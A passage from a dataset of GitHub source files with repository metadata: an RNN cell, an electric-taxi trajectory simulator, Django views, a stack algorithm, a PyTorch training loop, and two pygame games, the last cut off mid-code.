self.Wy = np.random.randn(h * 2, o)\n\n self.bhf = np.zeros((1, h))\n self.bhb = np.zeros((1, h))\n self.by = np.zeros((1, o))\n\n def forward(self, h_prev, x_t):\n \"\"\" Method that calculates the hidden state in the forward\n direction for one time step\n Args:\n x_t - is a numpy.ndarray of shape (m, i) that contains the data\n input for the cell\n m - is the batch size for the data\n h_prev - is a numpy.ndarray of shape (m, h) containing the previous\n hidden state\n Returns:\n h_next - the next hidden state\n \"\"\"\n h_next = np.tanh(np.matmul(np.hstack((h_prev, x_t)), self.Whf)\n + self.bhf)\n return h_next\n\n def backward(self, h_next, x_t):\n \"\"\" Method that calculates the hidden state in the backward\n direction for one time step\n x_t - is a numpy.ndarray of shape (m, i) that contains the data input\n for the cell\n * m is the batch size for the data\n h_next - is a numpy.ndarray of shape (m, h) containing the next hidden\n state\n\n \"\"\"\n h_prev = np.tanh(np.matmul(np.hstack((h_next, x_t)), self.Whb)\n + self.bhb)\n return h_prev\n\n def output(self, H):\n \"\"\" Function that calculates all outputs for the RNN:\n Args:\n H -is a numpy.ndarray of shape (t, m, 2 * h) that contains the\n concatenated hidden states from both directions, excluding\n their initialized states\n * t is the number of time steps\n * m is the batch size for the data\n * h is the dimensionality of the hidden states\n Returns: Y, the outputs\n \"\"\"\n T, m, h2 = H.shape\n\n Y = []\n for t in range(T):\n y = self.softmax(np.matmul(H[t], self.Wy) + self.by)\n Y.append(y)\n return np.array(Y)\n","repo_name":"nildiert/holbertonschool-machine_learning","sub_path":"supervised_learning/0x0D-RNNs/7-bi_output.py","file_name":"7-bi_output.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"75213443253","text":"import os\nimport yaml\nimport pickle\nimport logging\nimport argparse\nimport torch\nimport numpy as np\nimport pandas as pd\nimport xgboost as xgb\nfrom datetime import datetime, timedelta\nfrom tqdm import tqdm\nfrom sklearn.preprocessing import normalize\nfrom sklearn.metrics.pairwise import haversine_distances\n\nfrom utils import display\nfrom s1_preprocessing.hotspot.hotpots_discovery_utils import cube_to_coordinate\nfrom s2_mobility.charging_behavior.where2charge import Where2Charge\n\n\ndef build_rest_schedule(_n=10000, _pattern=None, _days=7):\n \"\"\"\n output: a list _schedule with _n length for _n instances.\n Each element in _schedule is another list, the resting time schedule for the instance.\n Time in the schedule if the second offset from 00: 00: 00 in the first day.\n \"\"\"\n logging.info(\"Building rest schedule...\")\n _times = _pattern['times'].iloc[_pattern['times'].index <= 3].reset_index()\n _raw = _pattern['distribution']\n _len = len(_raw)\n _frac = [_len // (_i + 1) for _i in range(3)]\n _d = [pd.Series(_raw).reset_index(),\n pd.Series([_v + _raw[(_k + _frac[1]) % _len] for _k, _v in enumerate(_raw)]).reset_index(),\n pd.Series([_v + _raw[(_k + _frac[2]) % _len] + _raw[(_k + _frac[2]) * 2 % _len] for _k, _v in\n enumerate(_raw)]).reset_index()]\n\n _schedule = [[] for _ in range(_n)]\n times_schedule = _times['index'].sample(_n * _days, weights=_times[0], replace=True).to_numpy().reshape(_n, _days)\n _t = []\n for _i in range(3):\n _t.append((_d[_i]['index'].sample(_n * _days, weights=_d[_i][0], replace=True) % _frac[_i]).to_numpy())\n _t_i = [0] * 3\n for _i in range(_n):\n for _day in range(_days):\n _time = times_schedule[_i, _day]\n for _j in range(_time):\n _schedule[_i].append(_day * 24 * 60 + _t[_time - 1][_t_i[_time - 1]] + _j * _frac[_time - 1])\n _t_i[_time - 1] += 1\n _schedule[_i] = [_x * 60 for _x in _schedule[_i]]\n return _schedule\n\n\ndef cube_convert(_id, _from, _to):\n # idx_map idx_inv_map\n _temp = idx_map[_from][_id]\n return idx_inv_map[_to][_temp]\n\n\ndef single_period_generation(_id, ts, _loc, _r, _traveled=0):\n state = 'empty'\n _trajectory = pd.DataFrame(columns=['event', 'timestamp', 'location', 'traveled', 'station', 'queuing', 'charging'])\n while True:\n if 'empty' == state:\n # Determine whether to charge\n _lng, _lat = cube_to_coordinate(idx_map['d2p_d'][_loc], to_geodetic=True, m=100, n=200)\n ts_datetime = init_t + timedelta(seconds=ts)\n time_of_day = ts_datetime.hour + ts_datetime.minute / 60 + ts_datetime.second / 3600\n dis_to_cs = haversine_distances(np.radians([[_lat, _lng]]), np.radians(cs_loc)) * EARTH_RADIUS\n whether2charge_f = [time_of_day, dis_to_cs.min(), dis_to_cs.max(), dis_to_cs.mean(), np.median(dis_to_cs),\n _traveled / 1000]\n whether2charge_f_scaled = whether2charge_scaler.transform(np.reshape(whether2charge_f, (1, -1)))\n to_charge = whether2charge.predict(whether2charge_f_scaled).item()\n if (to_charge & (_traveled / 1000 < 150)) | (~to_charge & (_traveled / 1000 > 200)):\n to_charge = 1 - to_charge\n if to_charge:\n where2charge_f = pd.DataFrame(index=range(len(cs)))\n where2charge_f['max_dis'] = dis_to_cs.max()\n where2charge_f['mean_dis'] = dis_to_cs.mean()\n where2charge_f['mid_dis'] = np.median(dis_to_cs)\n where2charge_f['min_dis'] = dis_to_cs.min()\n where2charge_f['traveled'] = _traveled / 1000\n where2charge_f['distance'] = dis_to_cs.reshape((-1,))\n where2charge_f['weekday'] = 1 if ts_datetime.weekday() < 5 else 0\n where2charge_f['time_of_day'] = time_of_day\n where2charge_f['chg_points'] = cs['chg_points']\n data = torch.from_numpy(where2charge_f.to_numpy()).to(device).float()\n data = data.view(-1, len(cs.index), len(where2charge_f.columns))\n output = where2charge(data)\n output = softmax(output).view(-1).cpu().detach().numpy()\n # output = output.view(-1).cpu().detach().numpy()\n # output = normalize(output.reshape(1, -1), norm='l1').reshape(-1)\n station_idx = np.random.choice(len(output), 1, p=output).item()\n state = 'charging'\n continue\n # Determine whether to rest\n if len(resting_schedule[_id]) < _r:\n if ts > resting_schedule[_id][_r]:\n state = 'resting'\n continue\n # Move on to the occupied stated\n _loc_prev = _loc\n try:\n _loc = np.random.choice(np.arange(len(idx_map['d2p_p'])), size=1,\n p=d2p_tensor[ts_datetime.hour, _loc_prev]).item()\n except ValueError:\n print(d2p_tensor[ts_datetime.hour, _loc_prev].sum())\n print('d2p', ts_datetime.hour, _loc_prev)\n exit(0)\n ts += 10 * (d2p_dur[_loc_prev][_loc] if d2p_dur[_loc_prev][_loc] != 0 else 20)\n _traveled += 2 * (d2p_dis[_loc_prev][_loc] if d2p_dis[_loc_prev][_loc] != 0 else 250)\n _trajectory.loc[len(_trajectory)] = ['pick-up', ts_datetime, idx_map['d2p_p'][_loc], _traveled, None, None,\n None]\n state = 'occupied'\n _loc = cube_convert(_loc, 'd2p_p', 'p2d_p')\n continue\n elif 'occupied' == state:\n ts_datetime = init_t + timedelta(seconds=ts)\n _loc_prev = _loc\n try:\n _loc = np.random.choice(np.arange(len(idx_map['p2d_d'])), size=1,\n p=p2d_tensor[ts_datetime.hour, _loc_prev]).item()\n except ValueError:\n print(p2d_tensor[ts_datetime.hour, _loc_prev].sum())\n print('p2d', ts_datetime.hour, _loc_prev)\n exit(0)\n ts += p2d_dur[_loc_prev][_loc] if p2d_dur[_loc_prev][_loc] != 0 else 20\n _traveled += d2p_dis[_loc_prev][_loc] if d2p_dis[_loc_prev][_loc] != 0 else 250\n _trajectory.loc[len(_trajectory)] = ['drop-off', ts_datetime, idx_map['p2d_d'][_loc], _traveled, None, None,\n None]\n state = 'empty'\n _loc = cube_convert(_loc, 'p2d_d', 'd2p_d')\n continue\n elif 'resting' == state:\n ts_datetime = init_t + timedelta(seconds=ts)\n ts += rest_pattern['duration'][ts_datetime.hour] if rest_pattern['duration'][ts_datetime.hour] != 0 else 20\n _r += 1\n _trajectory.loc[len(_trajectory)] = ['resting', ts_datetime, idx_map['d2p_d'][_loc], _traveled,\n rest_pattern['duration'][ts_datetime.hour], None, None]\n state = 'empty'\n continue\n elif 'charging' == state:\n _c = 120 * 60 * _traveled / (250 * 1000)\n return _trajectory, ts, _loc, station_idx, _traveled, _c, _r\n\n\nif __name__ == '__main__':\n # configure the working directory to the project root path\n with open(\"../config.yaml\", \"r\", encoding=\"utf8\") as f:\n conf = yaml.load(f, Loader=yaml.FullLoader)\n os.chdir(conf[\"project_path\"])\n display.configure_logging()\n parser = argparse.ArgumentParser()\n parser.add_argument('--n', type=int, default=1000)\n parser.add_argument('--day', type=int, default=3)\n parser.add_argument('--transition_tensor', type=str,\n choices=['gt_transition_tensor', '14et_tensor', '14all_tensor', '17pred_tensor'])\n parser.add_argument('--target_file', type=str, default='pred')\n args = parser.parse_args()\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n EARTH_RADIUS = 6371.0088\n # Key parameter: ET number and charger distribution\n n = args.n\n day = args.day\n\n # cs = pd.read_csv(conf['cs']['val'], usecols=['lng', 'lat', 'chg_points'])\n cs = pd.read_csv('s3_generation/cs_program1/cs_info.csv', usecols=['lng', 'lat', 'chg_points'])\n cs_loc = cs[['lat', 'lng']].to_numpy()\n # Mobility pattern\n # 1. transition pattern\n p2d_tensor = np.load(conf['mobility']['transition']['p2d'][args.transition_tensor])['arr_0']\n d2p_tensor = np.load(conf['mobility']['transition']['d2p'][args.transition_tensor])['arr_0']\n p2d_prob = normalize(np.load(conf['mobility']['transition']['utility_xgboost']['p2d']['prob_mat']), norm='l1')\n p2d_dis = np.load(conf['mobility']['transition']['p2d']['distance'])\n p2d_dur = np.load(conf['mobility']['transition']['p2d']['duration'])\n d2p_prob = normalize(np.load(conf['mobility']['transition']['utility_xgboost']['d2p']['prob_mat']), norm='l1')\n d2p_dis = np.load(conf['mobility']['transition']['d2p']['distance'])\n d2p_dur = np.load(conf['mobility']['transition']['d2p']['duration'])\n with open(conf['mobility']['transition']['idx_cube_100_200_map'], mode='rb') as f:\n idx_map = pickle.load(f)\n with open(conf['mobility']['transition']['idx_cube_100_200_inverse_map'], mode='rb') as f:\n idx_inv_map = pickle.load(f)\n # 2. charging pattern\n whether2charge = xgb.XGBClassifier(verbosity=1, max_depth=10, learning_rate=0.01, n_estimators=500,\n scale_pos_weight=10)\n whether2charge.load_model(conf['mobility']['charge']['whether_xgb'])\n with open(conf['mobility']['charge']['whether_xgb_scaler'], 'rb') as f:\n whether2charge_scaler = pickle.load(f)\n where2charge = Where2Charge()\n where2charge.to(device)\n where2charge.load_state_dict(torch.load(conf[\"mobility\"][\"charge\"][\"where_model\"] + '.new_div_best'))\n where2charge.eval()\n softmax = torch.nn.Softmax(dim=1)\n # 3. resting pattern\n with open(conf['mobility']['resting'], 'rb') as f:\n # rest pattern: 1, times; 2, distribution; 3, duration.\n rest_pattern = pickle.load(f)\n\n print('p2d_p len: {}, head(1): {}'.format(len(idx_map['p2d_p']), idx_map['p2d_p'][1]))\n print('p2d_d len: {}, head(1): {}'.format(len(idx_map['p2d_d']), idx_map['p2d_d'][1]))\n print('d2p_d len: {}, head(1): {}'.format(len(idx_map['d2p_d']), idx_map['d2p_d'][1]))\n print('d2p_p len: {}, head(1): {}'.format(len(idx_map['d2p_p']), idx_map['d2p_p'][1]))\n print('d2p shape: {}'.format(d2p_prob.shape))\n print('p2d shape: {}'.format(p2d_prob.shape))\n # Initial variable\n init_t = datetime(2017, 6, 1, 0, 0, 0)\n init_l = np.random.randint(0, high=len(idx_map['d2p_d']), size=(n,))\n resting_schedule = build_rest_schedule(n, rest_pattern, _days=day)\n w = {idx: np.zeros(v) for idx, v in enumerate(cs['chg_points'].to_list())}\n trajectories = [None for _ in range(n)]\n t = [None for _ in range(n)]\n r = [None for _ in range(n)]\n loc = [None for _ in range(n)]\n s = [None for _ in range(n)]\n c = [None for _ in range(n)]\n traveled = [None for _ in range(n)]\n for i in tqdm(range(n)):\n # _trajectory, ts, _loc, station_idx, _c, _r\n trajectories[i], t[i], loc[i], s[i], traveled[i], c[i], r[i] = single_period_generation(i, 0, init_l[i], 0)\n t_previous = 0\n while True:\n i = np.argmin(t).item()\n if t[i] > day * 24 * 60 * 60:\n break\n else:\n print(\"\\rGeneration progress: {:.1f}%\".format(t[i] / (day * 24 * 60 * 60) * 100), end='')\n for station in w:\n w[station] = np.max((w[station] - (t[i] - t_previous)).reshape(-1, 1), axis=-1, initial=0).reshape(-1)\n t_previous = t[i]\n k = np.argmin(w[s[i]]).item()\n q = w[s[i]][k]\n w[s[i]][k] += c[i]\n trajectories[i].loc[len(trajectories[i])] = ['charging', init_t + timedelta(seconds=t[i]),\n idx_map['d2p_d'][loc[i]], traveled[i], s[i], q, c[i]]\n sub_trajectories, t[i], loc[i], s[i], traveled[i], c[i], r[i] = single_period_generation(i, t[i] + q + c[i],\n init_l[i], r[i])\n trajectories[i] = pd.concat([trajectories[i], sub_trajectories])\n # pd.concat(trajectories, keys=np.arange(n), names=['id', 'foo']).droplevel('foo').to_parquet(\n # conf['generation']['result'])\n target_file = 'result/generation/' + args.target_file\n pd.concat(trajectories, keys=np.arange(n), names=['id', 'foo']).droplevel('foo').to_parquet(target_file)\n","repo_name":"easysam/electric-taxi-mobility","sub_path":"s3_generation/generation_v2.py","file_name":"generation_v2.py","file_ext":"py","file_size_in_byte":12676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12872513881","text":"from django.shortcuts import render\nfrom django.shortcuts import get_object_or_404\nfrom django.views import generic\nfrom .models import *\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect\nfrom .forms import *\n\n# Create your views here.\nclass CityView(generic.ListView):\n #Search bar and list of categories\n model = Place\n paginate_by = 20\n template_name = 'places/city_view.html'\n http_method_names = ['get']\n context_object_name = 'places'\n \n def get_queryset(self):\n city = get_object_or_404(City,pk=self.request.session['city'])\n return Place.objects.filter(city=city).order_by('-name')\n def get_context_data(self,*args, **kwargs):\n data = super(CityView,self).get_context_data(**kwargs)\n id = self.request.session['city']\n if id:\n data['city'] = get_object_or_404(City, pk=id)\n data['category_list'] = Category.objects.all()\n data['search_form'] = SearchForm(self.request.GET)\n return data\n\ndef redirect_to_city(request):\n if request.method=='GET':\n city_id = request.GET.get('city')\n request.session['city'] = city_id\n city = get_object_or_404(City,pk=city_id)\n return HttpResponseRedirect(reverse('places:city',args=[city.slug]))\n\n\nclass PlaceView(generic.TemplateView):\n template_name = 'places/place_view.html'\n http_method_names = ['get']\n def get_context_data(self,*args,**kwargs):\n from django.utils import timezone\n context = super(PlaceView, self).get_context_data(**kwargs)\n context['city'] = get_object_or_404(City, pk= self.request.session['city'])\n print(self.kwargs)\n place = get_object_or_404(Place, pk=self.kwargs.get('id'))\n context['place'] = place\n context['search_form'] = SearchForm(self.request.GET)\n try:\n tmp = Schedule.objects.get(place=place).to_list()\n context['schedule']=[(x[0],get_str_interval(x[1],x[2])) for x in tmp]\n print(context['schedule'])\n context['opened'] = Schedule.is_opened(place,timezone.now())\n except ObjectDoesNotExist:\n context['opened'] = None\n context['schedule']=[]\n try:\n context['phones'] = PlacePhoneNumber.objects.get(place=place);\n except ObjectDoesNotExist:\n context['phones'] = []\n return context\n \n\n","repo_name":"mrashidov/Visit","sub_path":"places/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5632136786","text":"T = [73, 74, 75, 71, 69, 72, 76, 73]\n\nanswer = [0] * len(T)\nstack = []\n\nfor idx, curr in enumerate(T):\n while stack and curr > T[stack[-1]]:\n last = stack.pop()\n answer[last] = idx - last\n stack.append(idx)\n\nprint(answer)\n\n\n\n\n\n","repo_name":"Haru-arp/TIL","sub_path":"Algorithm/리트코드/일일온도.py","file_name":"일일온도.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25834754931","text":"\"\"\"\nContains functions for training and testing a PyTorch model.\n\"\"\"\nimport torch\nimport time\nimport copy\nimport utils\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tqdm.auto import tqdm\n\ndef train_model(model: torch.nn.Module, \n dataloaders: torch.utils.data.DataLoader,\n dataset_sizes: dict,\n epochs: int, \n criterion: torch.nn.Module, \n optimizer: torch.optim.Optimizer,\n scheduler: torch.optim.lr_scheduler,\n save_dir: str,\n device: torch.device):\n \"\"\"\n Train the Neural Networks.\n \"\"\"\n start_time = time.time()\n\n best_weight = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n # Create empty results dictionary\n results = {\"train_loss\": [],\n \"train_acc\": [],\n \"val_loss\": [],\n \"val_acc\": []\n }\n\n # Loop through training and testing steps for a number of epochs\n for epoch in tqdm(range(epochs)):\n epoch_start = time.time()\n\n for phase in ['train', 'val']:\n if phase == 'train':\n model.train() # training mode\n else:\n model.eval() # evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n for inputs, labels in dataloaders[phase]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n # track history if only in train\n with torch.set_grad_enabled(phase == 'train'):\n outputs = model(inputs)\n _, preds = torch.max(outputs, 1)\n loss = criterion(outputs, labels)\n\n # backward + optimize only if in training phase\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n \n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects.double() / dataset_sizes[phase]\n\n print(f'{phase} loss: {epoch_loss:.4f} {phase} acc: {epoch_acc:.4f}', end=', ')\n\n if phase == 'train':\n scheduler.step()\n results[\"train_acc\"].append(epoch_acc.cpu().detach())\n results[\"train_loss\"].append(epoch_loss)\n else:\n results[\"val_acc\"].append(epoch_acc.cpu().detach())\n results[\"val_loss\"].append(epoch_loss)\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects.double() / dataset_sizes[phase]\n\n # deep copy the model\n if phase == 'val' and epoch_acc > best_acc:\n best_acc = epoch_acc\n best_weight = copy.deepcopy(model.state_dict())\n\n # save checkpoints every epoch\n utils.save_model(model, save_dir, epoch)\n\n epoch_dur = round(time.time() - epoch_start,2)\n print(f'Epoch time: {epoch_dur // 60:.0f}m {epoch_dur % 60:.0f}s')\n\n time_elapsed = time.time() - start_time\n print('-' * 20)\n print(f'Training complete in {time_elapsed // 60:.0f}m {time_elapsed % 60:.0f}s')\n print(f'Best val Acc: {best_acc:4f}')\n\n # save accuracy and loss\n np.savetxt(save_dir + \"/\" + f\"model_{model.name}_train_acc.csv\", results[\"train_acc\"])\n np.savetxt(save_dir + \"/\" + f\"model_{model.name}_train_loss.csv\", results[\"train_loss\"])\n np.savetxt(save_dir + \"/\" + f\"model_{model.name}_val_acc.csv\", results[\"val_acc\"])\n np.savetxt(save_dir + \"/\" + f\"model_{model.name}_val_loss.csv\", results[\"val_loss\"])\n\n # plot traininng curve\n train_accs, val_accs = np.array(results[\"train_acc\"]), np.array(results[\"val_acc\"])\n train_losses, val_losses = np.array(results[\"train_loss\"]), np.array(results[\"val_loss\"])\n\n plt.plot(np.arange(epochs, step=1), train_losses, label='Train loss')\n plt.plot(np.arange(epochs, step=1), train_accs, label='Train acc')\n plt.plot(np.arange(epochs, step=1), val_accs, label='Val acc')\n plt.xlabel('Epoch')\n plt.legend(loc='upper right')\n plt.show()\n\n return model","repo_name":"Followb1ind1y/Distracted-Driver-Detection-Project","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"6613381624","text":"import pygame\nfrom loop_luta import luta\nfrom auxiliares import *\nfrom components import *\n#starta pygame modulo\npygame.init()\n\nclass Game():\n def __init__(self):\n \"\"\"Construtor para iniciar as variáveis necessárias para o jogo\n \"\"\" \n #importando dados base\n importando = importa_json()\n self.colors = importando[0]\n self.data = importando[1]\n\n #ajustando variáveis iniciais\n self.run = True\n self.width = self.data[\"screen\"][\"width\"]\n self.height = self.data[\"screen\"][\"height\"]\n self.desenhado = False\n self.n_tela = 1\n self.n_mapa = 0\n\n # setando lista elementos na tela\n self.lista_botoes = []\n self.componentes = {}\n\n # cor de fundo\n self.background_color = converte_cor(\"#535c68\")\n \n #ajusta variavel relogio\n self.relogio = pygame.time.Clock()\n \n #coloca tela\n self.tela = pygame.display.set_mode((self.width, self.height))\n \n #ajusta fonte\n self.font_family = \"assets/fonts/PressStart2p.ttf\"\n \n #coloca icone\n pygame_icon = pygame.image.load('./static/assets/logo.png')\n pygame.display.set_icon(pygame_icon)\n\n #coloca o titulo\n pygame.display.set_caption(\"Death Strife\")\n \n #abre tela\n pygame.display.update()\n \n #roda loop do jogo\n self.loop()\n \n def draw_menu(self):\n \"\"\"funcao utilizada para desenhar o menu principal com seus componentes e botoes\n \"\"\" \n # titulo\n hello = Text(\"Death strife\", self.font_family, 70, self.colors[\"pink_neon\"])\n hello.draw(self.tela, (self.width / 2, self.height * .2), [3,3,self.colors[\"preto_neon\"]], centralizado = True)\n\n # botoes menu principal\n button_start = Text(\"START\", self.font_family, 25, self.colors[\"pink_neon\"], action = \"jogar\")\n button_exit = Text(\"SAIR\", self.font_family, 25, self.colors[\"pink_neon\"], action = \"sair\")\n button_config = Text(\"CONFIG\", self.font_family, 25, self.colors[\"pink_neon\"], action = \"config\")\n \n # Nas configurações é interessante mudar as cores pra dar ou ent tirar o som\n self.lista_botoes.append(button_start)\n self.lista_botoes.append(button_config)\n self.lista_botoes.append(button_exit)\n \n # desenhando \n for _ in self.lista_botoes:\n margin = 0\n index_atual = self.lista_botoes.index(_)\n altura = 0\n\n if index_atual > 0:\n altura = self.lista_botoes[index_atual - 1].altura\n margin = 50\n\n y = self.height * .2 + hello.rect[3] + 100+ (altura + margin )* index_atual \n x = self.width / 2\n _.draw(self.tela, (x,y), [2,2,self.colors[\"branco_neon\"]], self.colors[\"preto_neon\"], True, [3,3,self.colors[\"pink_neon\"]], [3,self.colors[\"branco_neon\"]], 20)\n\n def draw_choose_cenario(self):\n \"\"\"exibe um mini menu ppara o usuario escolher qual fase quer jogar\n \"\"\" \n cenarios = self.data[\"cenarios\"]\n he = None\n for i in range(len(cenarios)):\n btn = Text(f'cenario {i}', self.font_family, 25, self.colors[\"kirby\"], action=\"choose_cenario\")\n btn.draw(self.tela, (self.width * .1 + i * (btn.rect[2] + 40),self.height / 2 + 3 * btn.rect[3]), [3,3,self.colors[\"branco_neon\"]], self.colors[\"preto_neon\"], False, [3,3,self.colors[\"azul_depth\"]], [3, self.colors[\"branco_neon\"]])\n img = pygame.image.load(cenarios[i]).convert()\n ret_img = img.get_rect()\n escala = ret_img[2] / btn.largura\n if i == 0:\n he = ret_img[3] / escala\n img = pygame.transform.scale(img, (btn.largura, he))\n self.tela.blit(img, (btn.x, btn.y - img.get_rect()[3] - 50))\n self.lista_botoes.append(btn)\n\n def draw_config(self):\n \"\"\"funcao desenha o menu de configuracoes e seus botoes\n \"\"\" \n lista_botoes = []\n \n bg_config = Box(self.width * .4, self.height * .8)\n bg_config.draw(self.tela, (self.width/ 2, self.height / 2), self.colors[\"preto_neon\"], True, borda = [5,self.colors[\"branco_neon\"]])\n btn_controles = Text(\"Controles\", self.font_family, 35, self.colors[\"pink_neon\"], action = \"controles\")\n btn_creditos = Text(\"Creditos\", self.font_family, 35, self.colors[\"pink_neon\"], action = \"creditos\")\n btn_voltar = Text(\"Voltar\", self.font_family, 35, self.colors[\"pink_neon\"], action = \"menu\")\n \n lista_botoes.append(btn_controles)\n lista_botoes.append(btn_creditos)\n lista_botoes.append(btn_voltar)\n\n self.lista_botoes = lista_botoes\n for _ in lista_botoes:\n index = lista_botoes.index(_)\n altura = 0\n margin = 50\n if index > 0:\n altura = lista_botoes[index - 1].altura\n _.draw(self.tela, (self.width / 2, self.height * 0.2 + index * (altura+ margin)), [2, 2, self.colors[\"preto_neon\"]], self.colors[\"branco_neon\"], True, padding = 10, box_shadow= [ 5,5,self.colors[\"cinza_claro\"]])\n\n def draw_controles(self):\n \"\"\"esta funcao constroi o menu de exibicao para mostrar as teclas utilizadas no jogo\n \"\"\" \n bg = Box(self.width * .8, self.height * .6)\n bg.draw(self.tela, (self.width / 2, self.height / 2), self.colors[\"preto_neon\"], True, borda=[3,self.colors[\"cinza_claro\"]])\n container = Box(bg.largura * .4, bg.altura * .9)\n x = [bg.x + bg.largura * .075, bg.x + bg.largura * .925 - container.largura]\n container.draw(self.tela, (x[0], bg.y + bg.altura * .05), self.colors[\"branco_neon\"])\n container.draw(self.tela, (x[1], bg.y + bg.altura * .05), self.colors[\"branco_neon\"])\n btn_close = Text(\"X\", self.font_family, 30, self.colors[\"pink_neon\"], action = \"config\")\n btn_close.draw(self.tela, (bg.x + bg.largura - btn_close.rect[2] * 1.5, bg.y + btn_close.rect[3]/2), [3,3, self.colors[\"branco_neon\"]])\n self.lista_botoes.append(btn_close)\n p_1 = Text(\"Player 1\", self.font_family, 25, self.colors[\"pink_neon\"])\n p_2 = Text(\"Player 2\", self.font_family, 25, self.colors[\"pink_neon\"])\n p_1.draw(self.tela, (x[0] + (container.largura - p_1.rect.width)/2, container.y + container.altura * .05), [3,3, self.colors[\"kirby\"]])\n p_2.draw(self.tela, (x[1] + (container.largura - p_1.rect.width)/2, container.y + container.altura * .05), [3,3, self.colors[\"kirby\"]])\n # desenhar botoes para mostrar os comando\n \n y_h = p_1.y + p_1.altura + 40\n\n p_1_teclas = self.data[\"teclas\"][\"player_1\"]\n p_2_teclas = self.data[\"teclas\"][\"player_2\"]\n\n for k, v in p_1_teclas.items():\n movimento = Text(k, self.font_family, 15, self.colors[\"jade_dust\"])\n key = Text(v, self.font_family, 15, self.colors[\"azul_depth\"])\n movimento.draw(self.tela, (x[0] + container.largura * .05, y_h))\n key.draw(self.tela, (x[0] + container.largura/2, y_h), background_color=self.colors[\"cinza_claro\"])\n y_h += movimento.altura + 20\n\n y_h = p_1.y + p_1.altura + 40\n\n for k, v in p_2_teclas.items():\n movimento = Text(k, self.font_family, 15, self.colors[\"jade_dust\"])\n key = Text(v, self.font_family, 15, self.colors[\"azul_depth\"])\n movimento.draw(self.tela, (x[1] + container.largura * .05, y_h))\n key.draw(self.tela, (x[1] + container.largura/2, y_h), background_color=self.colors[\"cinza_claro\"])\n y_h += movimento.altura + 20\n\n def draw_creditos(self):\n \"\"\"funcao responsavel por fazer a tela de agradecimento\n \"\"\" \n bg = Box(self.width * .75, self.height * .65)\n bg.draw(self.tela, (self.width / 2, self.height / 2), self.colors[\"preto_neon\"], True, borda=[3,self.colors[\"cinza_claro\"]])\n agradecimentos = Text(self.data[\"creditos\"][\"texto\"], self.font_family, 20, self.colors[\"pink_neon\"])\n agradecimentos.draw(self.tela, (bg.x + bg.largura * .1, bg.y + bg.altura * .1), max_width = bg.largura * .8, text_shadow=[1,1,self.colors[\"jade_dust\"]]) \n btn_close = Text(\"X\", self.font_family, 30, self.colors[\"pink_neon\"], action = \"config\")\n btn_close.draw(self.tela, (bg.x + bg.largura - btn_close.rect[2] * 1.5, bg.y + btn_close.rect[3]/2), [3,3, self.colors[\"branco_neon\"]])\n self.lista_botoes.append(btn_close)\n\n def loop(self):\n \"\"\"Funcao que roda o loopde jogo\n \"\"\" \n while self.run:\n self.relogio.tick(60)\n self.tela.fill(self.background_color )\n x, y = pygame.mouse.get_pos()\n\n\n if self.n_tela == 1:\n self.draw_menu()\n\n elif self.n_tela == 2:\n self.draw_choose_cenario()\n elif self.n_tela == 3:\n self.draw_config()\n elif self.n_tela == 4:\n self.run = False\n elif self.n_tela == 5:\n self.draw_creditos()\n elif self.n_tela == 6:\n mapa = self.data[\"cenarios\"][int(self.n_mapa)]\n x = luta(mapa)\n if x is False:\n self.run = False\n elif self.n_tela == 7:\n self.draw_controles()\n\n for evento in pygame.event.get():\n if evento.type == pygame.QUIT:\n self.run = False\n \n if evento.type == pygame.MOUSEBUTTONDOWN:\n for btn in self.lista_botoes:\n if not btn.x + btn.largura >= x >= btn.x or not btn.y + btn.altura >= y >= btn.y: continue\n self.lista_botoes = []\n self.n_tela = btn.click()\n if btn.action == \"choose_cenario\": \n self.n_mapa = self.n_tela[1]\n self.n_tela = self.n_tela[0]\n pygame.display.flip()\n\n #rodado caso o jogo encerre\n pygame.display.quit()\n \ng = Game()\n","repo_name":"EriqueFernandes/strife","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18760794677","text":"from time import sleep\nimport pygame\nimport random\n\npygame.init()\npygame.font.init()\n\n# set game display size\nWIDTH = 500\nHEIGHT = 650\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\n\n# set background image\nbackground = pygame.image.load('assets/background.jpg')\n\n# set game title\npygame.display.set_caption(\"Flappy Bird\")\n\n# load bird image and set initial position\nbird = pygame.image.load('assets/bird1.png')\nbird_X = 50\nbird_Y = 400\nbird_Y_change = 0\n\n# create obstacles\nobstacles_width = 70\nobstacles_height = random.randint(100,120)\nobstacles_colour = (211,253,117)\n\nobstacles_X_change = -2 # obstacles move from right to left on X-axis\nobstacles_X = 500\nobstacles_gap = 150\n\n# load sound files\nscore_sound = pygame.mixer.Sound(\"assets/score.mp3\")\ngame_over_sound = pygame.mixer.Sound(\"assets/gameover.mp3\")\n\n# define text colour profile\nwhite = (255, 255, 255)\nblack = (0, 0, 0)\n\ndef display_score(score):\n font = pygame.font.Font('assets/Flappy-Bird.ttf', 40)\n score_text = \"Total: \" + str(score)\n text = font.render(score_text, False, black)\n screen.blit(text, (190, 200))\n\ndef display_bird(x,y):\n # create bird image\n screen.blit(bird, (x,y))\n\ndef 